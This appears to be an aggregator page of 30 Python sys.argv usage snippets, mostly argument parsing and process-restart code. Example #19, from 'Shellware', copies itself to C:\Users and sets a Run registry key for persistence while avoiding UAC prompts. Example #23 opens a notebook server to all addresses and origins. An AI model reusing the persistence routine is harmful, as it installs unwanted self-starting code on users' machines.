Python sys.argv() Examples
The following are 30
code examples of sys.argv().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
sys
, or try the search function
.
Example #1
Source File: reval_discovery.py From Collaborative-Learning-for-Weakly-Supervised-Object-Detection with MIT License | 11 votes |
def parse_args(): """ Parse input arguments """ parser = argparse.ArgumentParser(description='Re-evaluate results') parser.add_argument('output_dir', nargs=1, help='results directory', type=str) parser.add_argument('--imdb', dest='imdb_name', help='dataset to re-evaluate', default='voc_2007_test', type=str) parser.add_argument('--comp', dest='comp_mode', help='competition mode', action='store_true') if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() return args
Example #2
Source File: example_restart_python.py From EDeN with MIT License | 7 votes |
def main(): env = os.environ.copy() # in case the PYTHONHASHSEED was not set, set to 0 to denote # that hash randomization should be disabled and # restart python for the changes to take effect if 'PYTHONHASHSEED' not in env: env['PYTHONHASHSEED'] = "0" proc = subprocess.Popen([sys.executable] + sys.argv, env=env) proc.communicate() exit(proc.returncode) # check if hash has been properly de-randomized in python 3 # by comparing hash of magic tuple h = hash(eden.__magic__) assert h == eden.__magic_py2hash__ or h == eden.__magic_py3hash__, 'Unexpected hash value: "{}". Please check if python 3 hash normalization is disabled by setting shell variable PYTHONHASHSEED=0.'.format(h) # run program and exit print("This is the magic python hash restart script.") exit(0)
Example #3
Source File: weather-icons.py From unicorn-hat-hd with MIT License | 6 votes |
def weather_icons(): try: if argv[1] == 'loop': loop() elif argv[1] in os.listdir(folder_path): print('Drawing Image: {}'.format(argv[1])) img = Image.open(folder_path + argv[1]) draw_animation(img) unicorn.off() else: help() except IndexError: help()
Example #4
Source File: __main__.py From vergeml with MIT License | 6 votes |
def _forgive_wrong_option_order(argv): first_part = [] second_part = [] rest = copy(argv) while rest: arg = rest.pop(0) if arg.startswith("--"): argname = arg.lstrip("--") if "=" in argname: argname = argname.split("=")[0] is_vergeml_opt = bool(argname in _VERGEML_OPTION_NAMES) lst = (first_part if is_vergeml_opt else second_part) if arg.endswith("=") or not "=" in arg: if not rest: # give up second_part.append(arg) else: lst.append(arg) lst.append(rest.pop(0)) else: lst.append(arg) else: second_part.append(arg) return first_part + second_part
Example #5
Source File: __main__.py From spleeter with MIT License | 6 votes |
def main(argv): """ Spleeter runner. Parse provided command line arguments and run entrypoint for required command (either train, evaluate or separate). :param argv: Provided command line arguments. """ try: parser = create_argument_parser() arguments = parser.parse_args(argv[1:]) enable_logging() if arguments.verbose: enable_tensorflow_logging() if arguments.command == 'separate': from .commands.separate import entrypoint elif arguments.command == 'train': from .commands.train import entrypoint elif arguments.command == 'evaluate': from .commands.evaluate import entrypoint params = load_configuration(arguments.configuration) entrypoint(arguments, params) except SpleeterError as e: get_logger().error(e)
Example #6
Source File: create_metadata.py From CAMISIM with Apache License 2.0 | 6 votes |
def parse_options(): """ parse command line options """ parser = argparse.ArgumentParser() helptext="Root path of input run for which metadata should be created, should contain metadata.tsv and genome_to_id.tsv" parser.add_argument("-i", "--input-run", type=str, help=helptext) helptext="output file to write metadata to" parser.add_argument("-o", "--output", type=str, help=helptext) helptext="Name of the data set" parser.add_argument("-n", "--name", type=str, help=helptext) if not len(sys.argv) > 1: parser.print_help() return None args = parser.parse_args() return args
Example #7
Source File: LPHK.py From LPHK with GNU General Public License v3.0 | 6 votes |
def shutdown(): if lp_events.timer != None: lp_events.timer.cancel() scripts.to_run = [] for x in range(9): for y in range(9): if scripts.threads[x][y] != None: scripts.threads[x][y].kill.set() if window.lp_connected: scripts.unbind_all() lp_events.timer.cancel() launchpad_connector.disconnect(lp) window.lp_connected = False logger.stop() if window.restart: if IS_EXE: os.startfile(sys.argv[0]) else: os.execv(sys.executable, ["\"" + sys.executable + "\""] + sys.argv) sys.exit("[LPHK] Shutting down...")
Example #8
Source File: batch.py From aegea with Apache License 2.0 | 6 votes |
def ensure_lambda_helper(): awslambda = getattr(clients, "lambda") try: helper_desc = awslambda.get_function(FunctionName="aegea-dev-process_batch_event") logger.info("Using Batch helper Lambda %s", helper_desc["Configuration"]["FunctionArn"]) except awslambda.exceptions.ResourceNotFoundException: logger.info("Batch helper Lambda not found, installing") import chalice.cli orig_argv = sys.argv orig_wd = os.getcwd() try: os.chdir(os.path.join(os.path.dirname(__file__), "batch_events_lambda")) sys.argv = ["chalice", "deploy", "--no-autogen-policy"] chalice.cli.main() except SystemExit: pass finally: os.chdir(orig_wd) sys.argv = orig_argv
Example #9
Source File: tnode.py From iSDX with Apache License 2.0 | 6 votes |
def main (argv): global host, hosts, tests if len(argv) == 3: # tnode.py torch.cfg hostname cfile = argv[1] host = argv[2] else: print 'usage: tnode torch.cfg hostname' exit() try: config = tlib.parser(cfile) hosts = config.hosts bgprouters = config.bgprouters except Exception, e: print 'Bad configuration: ' + repr(e) exit()
Example #10
Source File: reval.py From Collaborative-Learning-for-Weakly-Supervised-Object-Detection with MIT License | 6 votes |
def parse_args(): """ Parse input arguments """ parser = argparse.ArgumentParser(description='Re-evaluate results') parser.add_argument('output_dir', nargs=1, help='results directory', type=str) parser.add_argument('--imdb', dest='imdb_name', help='dataset to re-evaluate', default='voc_2007_test', type=str) parser.add_argument('--matlab', dest='matlab_eval', help='use matlab for evaluation', action='store_true') parser.add_argument('--comp', dest='comp_mode', help='competition mode', action='store_true') parser.add_argument('--nms', dest='apply_nms', help='apply nms', action='store_true') if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() return args
Example #11
Source File: analyze_noun_counts.py From facebook-discussion-tk with MIT License | 5 votes |
def main(): global output_file num_args = len(sys.argv) if num_args < 3: print("usage: %s <json-file-1> [json-file-2 ...] <output-csv-file>" % sys.argv[0], file=sys.stderr) exit(1) json_files = sys.argv[1:num_args - 1] output_file = sys.argv[num_args - 1] merged_json_data = {} for json_file in json_files: print("> reading JSON file '%s'..." % json_file) with open(json_file) as f: json_data = json.load(f) for label, data in json_data.items(): if label not in merged_json_data: merged_json_data[label] = data else: merged_json_data[label]['data'].extend(data['data']) # pprint(merged_json_data) analyse(merged_json_data)
Example #12
Source File: register_retinotopy.py From neuropythy with GNU Affero General Public License v3.0 | 5 votes |
def main(args): ''' register_retinotopy.main(args) can be given a list of arguments, such as sys.argv[1:]; these arguments may include any options and must include at least one subject id. All subjects whose ids are given are registered to a retinotopy model, and the resulting registration, as well as the predictions made by the model in the registration, are exported. ''' m = register_retinotopy_plan(args=args) # force completion files = m['files'] if len(files) > 0: return 0 else: print('Error: No files exported.', file=sys.stderr) return 1
Example #13
Source File: create_joint_gs.py From CAMISIM with Apache License 2.0 | 5 votes |
def parse_options(): """ parse the command line options """ parser = argparse.ArgumentParser() helptext = "Root path of input runs to be considered, can be one or multiple CAMISIM runs (if more than one, they are required to have the same random seed/genome mapping)\nSample folder names are expected to follow this schema: yyyy.mm.dd_hh.mm.ss_sample_" parser.add_argument("-i", "--input-runs", type=str, help=helptext, nargs='+') helptext = "Samples to be considered for pooled gold standards. If none are provided, pooled gold standard is created over all samples" parser.add_argument("-s", "--samples", type=int, help=helptext, nargs='*') helptext = "Output directory for all gold standards and files" parser.add_argument("-o", "--output-directory", type=str, help=helptext) helptext = "Number of threads to be used, default 1" parser.add_argument("-t", "--threads", type=int, default=1,help=helptext) helptext = "Path to the bamToGold perl script" parser.add_argument("-b", "--bamToGold", type=str, help=helptext) helptext = "Seed for the random number generator for shuffling" parser.add_argument("--seed", type=int, default=None, help=helptext) helptext = "Anonymize and shuffle the contigs?" parser.add_argument("-a", "--shuffle_anonymize",type=bool, default=True, help=helptext) if not len(sys.argv) > 1: parser.print_help() return None args = parser.parse_args() return args
Example #14
Source File: argumenthandler_ga.py From CAMISIM with Apache License 2.0 | 5 votes |
def _get_directory_pipeline(self): """ Get pipeline location based on script location @return: Location of pipeline @rtype: str | unicode """ return self.get_full_path(os.path.dirname(os.path.realpath(sys.argv[0])))
Example #15
Source File: __main__.py From spleeter with MIT License | 5 votes |
def entrypoint(): """ Command line entrypoint. """ warnings.filterwarnings('ignore') main(sys.argv)
Example #16
Source File: LPHK.py From LPHK with GNU General Public License v3.0 | 5 votes |
def init(): global EXIT_ON_WINDOW_CLOSE if len(sys.argv) > 1: if ("--debug" in sys.argv) or ("-d" in sys.argv): EXIT_ON_WINDOW_CLOSE = False print("[LPHK] Debugging mode active! Will not shut down on window close.") print("[LPHK] Run shutdown() to manually close the program correctly.") else: print("[LPHK] Invalid argument: " + sys.argv[1] + ". Ignoring...") files.init(USER_PATH) sound.init(USER_PATH)
Example #17
Source File: infer_sort.py From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 | 5 votes |
def main(): tks = sys.argv[1:] assert len(tks) >= 5, "Please provide 5 numbers for sorting as sequence length is 5" batch_size = 1 buckets = [] num_hidden = 300 num_embed = 512 num_lstm_layer = 2 num_epoch = 1 learning_rate = 0.1 momentum = 0.9 contexts = [mx.context.cpu(i) for i in range(1)] vocab = default_build_vocab(os.path.join(DATA_DIR, TRAIN_FILE)) rvocab = {} for k, v in vocab.items(): rvocab[v] = k _, arg_params, __ = mx.model.load_checkpoint("sort", 1) for tk in tks: assert (tk in vocab), "{} not in range of numbers that the model trained for.".format(tk) model = BiLSTMInferenceModel(SEQ_LEN, len(vocab), num_hidden=num_hidden, num_embed=num_embed, num_label=len(vocab), arg_params=arg_params, ctx=contexts, dropout=0.0) data = np.zeros((1, len(tks))) for k in range(len(tks)): data[0][k] = vocab[tks[k]] data = mx.nd.array(data) prob = model.forward(data) for k in range(len(tks)): print(rvocab[np.argmax(prob, axis = 1)[k]])
Example #18
Source File: lint.py From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 | 5 votes |
def main(): """Main entry function.""" if len(sys.argv) < 3: print('Usage: <project-name> <filetype> <list-of-path to traverse>') print('\tfiletype can be python/cpp/all') exit(-1) _HELPER.project_name = sys.argv[1] file_type = sys.argv[2] allow_type = [] if file_type == 'python' or file_type == 'all': allow_type += [x for x in PYTHON_SUFFIX] if file_type == 'cpp' or file_type == 'all': allow_type += [x for x in CXX_SUFFIX] allow_type = set(allow_type) if os.name != 'nt': sys.stderr = codecs.StreamReaderWriter(sys.stderr, codecs.getreader('utf8'), codecs.getwriter('utf8'), 'replace') for path in sys.argv[3:]: if os.path.isfile(path): process(path, allow_type) else: for root, dirs, files in os.walk(path): for name in files: process(os.path.join(root, name), allow_type) nerr = _HELPER.print_summary(sys.stderr) sys.exit(nerr > 0)
Example #19
Source File: shellware.py From Shellware with GNU General Public License v3.0 | 5 votes |
def main(): dir = "C:\\Users\\" fileName = sys.argv[0] run = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" autorun(dir, fileName, run) execute() # Check to see if we're already copied to C:\Users, if so, we know copy operation was succesful # and will assume registry entry for persistence was set and not prompt UAC.
Example #20
Source File: tmgr.py From iSDX with Apache License 2.0 | 5 votes |
def main (argv): global config, bgprouters, hosts, tests, cmdfuncs, participants if len(argv) < 2: log.error('usage: tmgr torch.cfg [ commands ]') exit() try: config = tlib.parser(argv[1]) except Exception, e: log.error('Bad configuration: ' + repr(e)) exit()
Example #21
Source File: lint.py From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 | 5 votes |
def main(): """Main entry function.""" if len(sys.argv) < 3: print('Usage: <project-name> <filetype> <list-of-path to traverse>') print('\tfiletype can be python/cpp/all') exit(-1) _HELPER.project_name = sys.argv[1] file_type = sys.argv[2] allow_type = [] if file_type == 'python' or file_type == 'all': allow_type += [x for x in PYTHON_SUFFIX] if file_type == 'cpp' or file_type == 'all': allow_type += [x for x in CXX_SUFFIX] allow_type = set(allow_type) if os.name != 'nt': sys.stderr = codecs.StreamReaderWriter(sys.stderr, codecs.getreader('utf8'), codecs.getwriter('utf8'), 'replace') for path in sys.argv[3:]: if os.path.isfile(path): process(path, allow_type) else: for root, dirs, files in os.walk(path): for name in files: process(os.path.join(root, name), allow_type) nerr = _HELPER.print_summary(sys.stderr) sys.exit(nerr > 0)
Example #22
Source File: gen_test.py From iSDX with Apache License 2.0 | 5 votes |
def main (argv): global outdir, ph_socket if len(argv) < 2: print 'usage: gen_test specification_file' exit() cfile = argv[1] try: config = genlib.parser(cfile) except Exception, e: print 'Configuration error: ' + cfile + ': ' + repr(e) exit()
Example #23
Source File: webui.py From MPContribs with MIT License | 5 votes |
def run(self): from IPython.terminal.ipapp import launch_new_instance sys.argv[1:] = [] warnings.filterwarnings("ignore", module="zmq.*") sys.argv.append("notebook") sys.argv.append("--IPKernelApp.pylab='inline'") sys.argv.append("--NotebookApp.ip=0.0.0.0") sys.argv.append("--NotebookApp.open_browser=False") sys.argv.append('--NotebookApp.allow_origin="*"') # sys.argv.append('--NotebookApp.port_retries=0') launch_new_instance()
Example #24
Source File: wspbus.py From cherrypy with BSD 3-Clause "New" or "Revised" License | 5 votes |
def _do_execv(self): """Re-execute the current process. This must be called from the main thread, because certain platforms (OS X) don't allow execv to be called in a child thread very well. """ try: args = self._get_true_argv() except NotImplementedError: """It's probably win32 or GAE""" args = [sys.executable] + self._get_interpreter_argv() + sys.argv self.log('Re-spawning %s' % ' '.join(args)) self._extend_pythonpath(os.environ) if sys.platform[:4] == 'java': from _systemrestart import SystemRestart raise SystemRestart else: if sys.platform == 'win32': args = ['"%s"' % arg for arg in args] os.chdir(_startup_cwd) if self.max_cloexec_files: self._set_cloexec() os.execv(sys.executable, args)
Example #25
Source File: versioneer.py From xrft with MIT License | 5 votes |
def get_root(): """Get the project root directory. We require that all commands are run from the project root, i.e. the directory that contains setup.py, setup.cfg, and versioneer.py . """ root = os.path.realpath(os.path.abspath(os.getcwd())) setup_py = os.path.join(root, "setup.py") versioneer_py = os.path.join(root, "versioneer.py") if not (os.path.exists(setup_py) or os.path.exists(versioneer_py)): # allow 'python path/to/setup.py COMMAND' root = os.path.dirname(os.path.realpath(os.path.abspath(sys.argv[0]))) setup_py = os.path.join(root, "setup.py") versioneer_py = os.path.join(root, "versioneer.py") if not (os.path.exists(setup_py) or os.path.exists(versioneer_py)): err = ("Versioneer was unable to run the project root directory. " "Versioneer requires setup.py to be executed from " "its immediate directory (like 'python setup.py COMMAND'), " "or in a way that lets it use sys.argv[0] to find the root " "(like 'python path/to/setup.py COMMAND').") raise VersioneerBadRootError(err) try: # Certain runtime workflows (setup.py install/develop in a setuptools # tree) execute all dependencies in a single python process, so # "versioneer" may be imported multiple times, and python's shared # module-import table will cache the first one. So we can't use # os.path.dirname(__file__), as that will find whichever # versioneer.py was first imported, even in later projects. me = os.path.realpath(os.path.abspath(__file__)) me_dir = os.path.normcase(os.path.splitext(me)[0]) vsr_dir = os.path.normcase(os.path.splitext(versioneer_py)[0]) if me_dir != vsr_dir: print("Warning: build in %s is using versioneer.py from %s" % (os.path.dirname(me), versioneer_py)) except NameError: pass return root
Example #26
Source File: trainval_net.py From Collaborative-Learning-for-Weakly-Supervised-Object-Detection with MIT License | 5 votes |
def parse_args(): """ Parse input arguments """ parser = argparse.ArgumentParser(description='Train a faster-rcnn in wealy supervised situation with wsddn modules') parser.add_argument('--cfg', dest='cfg_file', help='optional config file', default=None, type=str) parser.add_argument('--weight', dest='weight', help='initialize with pretrained model weights', type=str) parser.add_argument('--wsddn', dest='wsddn', help='initialize with pretrained wsddn model weights', type=str) parser.add_argument('--imdb', dest='imdb_name', help='dataset to train on', default='voc_2007_trainval', type=str) parser.add_argument('--imdbval', dest='imdbval_name', help='dataset to validate on', default='voc_2007_test', type=str) parser.add_argument('--iters', dest='max_iters', help='number of iterations to train', default=70000, type=int) parser.add_argument('--tag', dest='tag', help='tag of the model', default=None, type=str) parser.add_argument('--net', dest='net', help='vgg16, res50, res101, res152, mobile', default='res50', type=str) parser.add_argument('--set', dest='set_cfgs', help='set config keys', default=None, nargs=argparse.REMAINDER) if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() return args
Example #27
Source File: test_net.py From Collaborative-Learning-for-Weakly-Supervised-Object-Detection with MIT License | 5 votes |
def parse_args(): """ Parse input arguments """ parser = argparse.ArgumentParser(description='Test a Fast R-CNN network') parser.add_argument('--cfg', dest='cfg_file', help='optional config file', default=None, type=str) parser.add_argument('--model', dest='model', help='model to test', default=None, type=str) parser.add_argument('--imdb', dest='imdb_name', help='dataset to test', default='voc_2007_test', type=str) parser.add_argument('--comp', dest='comp_mode', help='competition mode', action='store_true') parser.add_argument('--num_dets', dest='max_per_image', help='max number of detections per image', default=100, type=int) parser.add_argument('--tag', dest='tag', help='tag of the model', default='', type=str) parser.add_argument('--net', dest='net', help='vgg16, res50, res101, res152, mobile', default='res50', type=str) parser.add_argument('--set', dest='set_cfgs', help='set config keys', default=None, nargs=argparse.REMAINDER) if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() return args
Example #28
Source File: show_boxes_results.py From Collaborative-Learning-for-Weakly-Supervised-Object-Detection with MIT License | 5 votes |
def parse_args(): """ Parse input arguments """ parser = argparse.ArgumentParser(description='show the imgs and the resulted boxes') parser.add_argument('--box', default='/DATA3_DB7/data/jjwang/workspace/wsFaster-rcnn/output/vgg16/voc_2007_test/WSDDN_PRE_50000/vgg16_faster_rcnn_iter_90000/wsddn/detections.pkl', help='boxes pkl file to load') parser.add_argument('--thr', default=0.1, type=float, help='idx of test img') if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() return args
Example #29
Source File: docker_cache.py From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 | 5 votes |
def main() -> int: """ Utility to create and publish the Docker cache to Docker Hub :return: """ # We need to be in the same directory than the script so the commands in the dockerfiles work as # expected. But the script can be invoked from a different path base = os.path.split(os.path.realpath(__file__))[0] os.chdir(base) logging.getLogger().setLevel(logging.DEBUG) logging.getLogger('botocore').setLevel(logging.INFO) logging.getLogger('boto3').setLevel(logging.INFO) logging.getLogger('urllib3').setLevel(logging.INFO) logging.getLogger('s3transfer').setLevel(logging.INFO) def script_name() -> str: return os.path.split(sys.argv[0])[1] logging.basicConfig(format='{}: %(asctime)-15s %(message)s'.format(script_name())) parser = argparse.ArgumentParser(description="Utility for preserving and loading Docker cache", epilog="") parser.add_argument("--docker-registry", help="Docker hub registry name", type=str, required=True) args = parser.parse_args() platforms = build_util.get_platforms() return build_save_containers(platforms=platforms, registry=args.docker_registry, load_cache=True)
Example #30
Source File: Collection.py From fullrmc with GNU Affero General Public License v3.0 | 5 votes |
def get_path(key=None): """ Get all paths information needed about the running script and python executable path. :Parameters: #. key (None, string): the path to return. If not None is given, it can take any of the following:\n #. cwd: current working directory #. script: the script's total path #. exe: python executable path #. script_name: the script name #. relative_script_dir: the script's relative directory path #. script_dir: the script's absolute directory path #. fullrmc: fullrmc package path :Returns: #. path (dictionary, value): If key is not None it returns the value of paths dictionary key. Otherwise all the dictionary is returned. """ import fullrmc # check key type if key is not None: assert isinstance(key, basestring), LOGGER.error("key must be a string of None") key=str(key).lower().strip() # create paths paths = {} paths["cwd"] = os.getcwd() paths["script"] = sys.argv[0] paths["exe"] = os.path.dirname(sys.executable) pathname, scriptName = os.path.split(sys.argv[0]) paths["script_name"] = scriptName paths["relative_script_dir"] = pathname paths["script_dir"] = os.path.abspath(pathname) paths["fullrmc"] = os.path.split(fullrmc.__file__)[0] # return paths if key is None: return paths else: assert key in paths, LOGGER.error("key is not defined") return paths[key]